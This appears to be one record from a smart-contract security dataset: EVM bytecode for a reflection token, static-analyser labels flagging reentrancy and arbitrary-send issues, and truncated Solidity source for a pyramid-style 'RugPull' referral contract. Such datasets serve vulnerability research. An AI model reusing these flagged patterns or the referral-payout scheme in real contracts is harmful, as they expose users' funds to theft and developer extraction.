fffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e81612547565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea0000061283190919063ffffffff16565b6128b790919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613e0c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613d536022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613de76025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613d066023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613dbe6029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561224557601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b1561224357601360179054906101000a900460ff16156122205761014a4203600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061221f57600080fd5b5b61222981612547565b6000479050600081111561224157612240476123c8565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122ec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156122f657600090505b61230284848484612901565b50505050565b60008383111582906123b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561237a57808201518184015260208101905061235f565b50505050905090810190601f1680156123a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124186002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612443573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6124946002846128b790919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156124bf573d6000803e3d6000fd5b5050565b6000600a54821115612520576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613d29602a913960400191505060405180910390fd5b600061252a612b58565b905061253f81846128b790919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561257c57600080fd5b506040519080825280602002602001820160405280156125ab5781602001602082028036833780820191505090505b50905030816000815181106125bc57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561265e57600080fd5b505afa158015612672573d6000803e3d6000fd5b505050506040513d602081101561268857600080fd5b8101908080519060200190929190505050816001815181106126a657fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061270d30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156127d15780820151818401526020810190506127b6565b505050509050019650505050505050600060405180830381600087803b1580156127fa57600080fd5b505af115801561280e573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b60008083141561284457600090506128b1565b600082840290508284828161285557fe5b04146128ac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d756021913960400191505060405180910390fd5b809150505b92915050565b60006128f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b83565b905092915050565b8061290f5761290e612c49565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129b25750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129c7576129c2848484612c8c565b612b44565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a6a5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a7f57612a7a848484612eec565b612b43565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b215750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b3657612b3184848461314c565b612b42565b612b41848484613441565b5b5b5b80612b5257612b5161360c565b5b50505050565b6000806000612b65613620565b91509150612b7c81836128b790919063ffffffff16565b9250505090565b60008083118290612c2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612bf4578082015181840152602081019050612bd9565b50505050905090810190601f168015612c215780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612c3b57fe5b049050809150509392505050565b6000600c54148015612c5d57506000600d54145b15612c6757612c8a565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c9e876138cd565b955095509550955095509550612cfc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d9186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7281613a07565b612e7c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612efe876138cd565b955095509550955095509550612f5c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130d281613a07565b6130dc8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061315e876138cd565b9550955095509550955095506131bc87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506132e683600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061337b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133c781613a07565b6133d18483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080613453876138cd565b9550955095509550955095506134b186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461393590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061354685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061359281613a07565b61359c8483613bac565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156138825782600260006009848154811061365a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061374157508160036000600984815481106136d957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561375f57600a54683635c9adc5dea00000945094505050506138c9565b6137e8600260006009848154811061377357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461393590919063ffffffff16565b925061387360036000600984815481106137fe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548361393590919063ffffffff16565b9150808060010191505061363b565b506138a1683635c9adc5dea00000600a546128b790919063ffffffff16565b8210156138c057600a54683635c9adc5dea000009350935050506138c9565b81819350935050505b9091565b60008060008060008060008060006138ea8a600c54600d54613be6565b92509250925060006138fa612b58565b9050600080600061390d8e878787613c7c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061397783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612308565b905092915050565b6000808284019050838110156139fd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613a11612b58565b90506000613a28828461283190919063ffffffff16565b9050613a7c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613ba757613b6383600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461397f90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613bc182600a5461393590919063ffffffff16565b600a81905550613bdc81600b5461397f90919063ffffffff16565b600b819055505050565b600080600080613c126064613c04888a61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c3c6064613c2e888b61283190919063ffffffff16565b6128b790919063ffffffff16565b90506000613c6582613c57858c61393590919063ffffffff16565b61393590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c95858961283190919063ffffffff16565b90506000613cac868961283190919063ffffffff16565b90506000613cc3878961283190919063ffffffff16565b90506000613cec82613cde858761393590919063ffffffff16565b61393590919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220c4fce90fae3110bc5d0ff0a811718ecb9057784831e2909c9acb26ee56cea90764736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,413
0xf7A190028d34e16483B58e7a925701Da29F274c4
// SPDX-License-Identifier: MIT pragma solidity ^ 0.6.6; contract RugPull{ Pyramid public PiZZa; RugToken public Rugs; uint public carpetBags = 25000; address public RugChallenger; uint public RugChallengerHP; address public CARPET_KING; uint public carpet_dynasty_generation; address public DEV; ERC20 public Resolve; address payable address0 = address(0); mapping(address => address) public gateway; mapping(address => bool) public initiated; mapping(address => uint) public pocket; mapping(address => uint) public thanks; constructor() public{ PiZZa = Pyramid(0x91683899ed812C1AC49590779cb72DA6BF7971fE); Rugs = new RugToken(); DEV = msg.sender; CARPET_KING = DEV; RugChallenger = DEV; Resolve = PiZZa.resolveToken(); gateway[CARPET_KING] = CARPET_KING; initiated[DEV] = true; } function weight(address addr) public view returns(uint){ return Resolve.balanceOf(addr); } function buy(address _gateway, uint _red, uint _green, uint _blue) public payable returns(uint bondsCreated){ address sender = msg.sender; if( !initiated[sender] ){ if( initiated[_gateway] ){ gateway[sender] = _gateway; }else{ gateway[sender] = RugChallenger; } } if(_red>1e18) _red = 1e18; if(_green>1e18) _green = 1e18; if(_blue>1e18) _blue = 1e18; uint[] memory UINTs = new uint[](4); UINTs[0] = msg.value * 3 / 100; UINTs[1] = msg.value * 2 / 100; UINTs[2] = msg.value * 1 / 100; UINTs[3] = msg.value * 6 / 1000; uint eth4PiZZa = msg.value - UINTs[0] - UINTs[1] - UINTs[2] - UINTs[3]; address lvl1 = gateway[sender]; if( weight(lvl1) > weight(sender) ){ pocket[ lvl1 ] += UINTs[0]; }else{ splitForKingAndRugChallenger(UINTs[0]); emit ReffSnatch(RugChallenger, gateway[sender]); gateway[sender] = RugChallenger; } address lvl2 = gateway[lvl1]; if( weight(lvl2) > weight(sender) ){ pocket[ lvl2 ] += UINTs[1]; }else{ splitForKingAndRugChallenger(UINTs[1]); emit ReffSnatch(sender, gateway[lvl1]); gateway[lvl1] = sender; } address lvl3 = gateway[lvl2]; if( weight(lvl3) > weight(sender) ){ pocket[ lvl3 ] += UINTs[2]; }else{ splitForKingAndRugChallenger(UINTs[2]); emit ReffSnatch(sender, gateway[lvl2]); gateway[lvl2] = sender; } pocket[ CARPET_KING ] += UINTs[3]; uint createdPiZZa = PiZZa.buy{value: eth4PiZZa}(sender, _red, _green, _blue); if(RugChallenger != sender){ if( RugChallengerHP <= weight(sender) ){ RugChallenger = sender; RugChallengerHP = weight(sender); emit RugPulled(sender, RugChallenger, RugChallengerHP); }else{ uint damage = weight(sender); if(damage>0){ RugChallengerHP -= damage; emit Damaged( RugChallenger, damage ); } } }else{ if( RugChallengerHP < weight(sender) && msg.value > 0.001 ether) RugChallengerHP = weight(sender); } if(carpetBags > 0 && msg.value > 0.001 ether){ carpetBags -= 1; Rugs.mint(sender, createdPiZZa); } return createdPiZZa; } event RugPulled(address winner, address loser, uint HP); event Damaged(address RugChallenger, uint damage); event ReffSnatch(address snatcher, address slacker); event SplitForKingAndRugChallenger(address king, address buyer); function splitForKingAndRugChallenger(uint ETH) internal{ pocket[CARPET_KING] += ETH/2; pocket[RugChallenger] += ETH - ETH/2; emit SplitForKingAndRugChallenger(CARPET_KING, RugChallenger); } event Withdraw(address account, uint amount); function withdraw() public{ address sender = msg.sender; uint amount = pocket[sender]; if( amount>0 ){ pocket[sender] = 0; (bool success, ) = sender.call{value:amount}(""); emit Withdraw(sender, amount); require(success, "Transfer failed."); }else{ revert(); } } event RechargeMagicLamp( address indexed addr, uint256 amountStaked ); function tokenFallback(address from, uint value, bytes calldata _data) external{ if(msg.sender == address(Resolve) ){ address THIS = address(this); if(carpetBags == 0){ carpetBags += value / 1e16; //100 per resolve token CARPET_KING = from; //takes the resolve tokens used to recharge the magic lamp and it stakes those //only the original dev benefits from these resolves being staked //the address that recharged the lamp benefits as CARPET_KING //only every 6th generation stakes resolves. waits for first 6 if(carpet_dynasty_generation % 6 == 0){ uint earnings = PiZZa.resolveEarnings( THIS ); if(earnings > 0){ PiZZa.withdraw(earnings); (bool success, ) = DEV.call{value:earnings}(""); require(success, "Transfer failed."); } Resolve.transfer( address(PiZZa), Resolve.balanceOf(THIS) ); } carpet_dynasty_generation += 1; emit RechargeMagicLamp(from, carpetBags); }else{ thanks[from] += value; //literally, this is it Resolve.transfer( address(PiZZa), value); } }else{ revert("no want"); } } } abstract contract Pyramid{ function buy(address addr, uint _red, uint _green, uint _blue) public virtual payable returns(uint createdBonds); function resolveToken() public view virtual returns(ERC20); function resolveEarnings(address _owner) public view virtual returns (uint256 amount); function withdraw(uint amount) public virtual returns(uint); } abstract contract ERC20{ function balanceOf(address _owner) public view virtual returns (uint256 balance); function transfer(address _to, uint _value) public virtual returns (bool); } contract RugToken{ string public name = "Rug Token"; string public symbol = "RUG"; uint8 constant public decimals = 18; address public owner; constructor() public{ owner = msg.sender; } modifier ownerOnly{ require(msg.sender == owner); _; } event Mint( address indexed addr, uint256 amount ); function mint(address _address, uint _value) external ownerOnly(){ balances[_address] += _value; _totalSupply += _value; emit Mint(_address, _value); } mapping(address => uint256) public balances; uint public _totalSupply; mapping(address => mapping(address => uint)) approvals; event Transfer( address indexed from, address indexed to, uint256 amount, bytes data ); event Transfer( address indexed from, address indexed to, uint256 amount ); function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } // Function that is called when a user or another contract wants to transfer funds. function transfer(address _to, uint _value, bytes memory _data) public virtual returns (bool) { if( isContract(_to) ){ return transferToContract(_to, _value, _data); }else{ return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data. // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public virtual returns (bool) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if(isContract(_to)){ return transferToContract(_to, _value, empty); }else{ return transferToAddress(_to, _value, empty); } } //function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes memory _data) private returns (bool) { moveTokens(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } //function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes memory _data) private returns (bool) { moveTokens(msg.sender, _to, _value); ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value, _data); emit Transfer(msg.sender, _to, _value); return true; } function moveTokens(address _from, address _to, uint _amount) internal virtual{ require( _amount <= balances[_from] ); //update balances balances[_from] -= _amount; balances[_to] += _amount; } function allowance(address src, address guy) public view returns (uint) { return approvals[src][guy]; } function transferFrom(address src, address dst, uint amount) public returns (bool){ address sender = msg.sender; require(approvals[src][sender] >= amount); require(balances[src] >= amount); approvals[src][sender] -= amount; moveTokens(src,dst,amount); bytes memory empty; emit Transfer(sender, dst, amount, empty); emit Transfer(sender, dst, amount); return true; } event Approval(address indexed src, address indexed guy, uint amount); function approve(address guy, uint amount) public returns (bool) { address sender = msg.sender; approvals[sender][guy] = amount; emit Approval( sender, guy, amount ); return true; } function isContract(address _addr) public view returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on 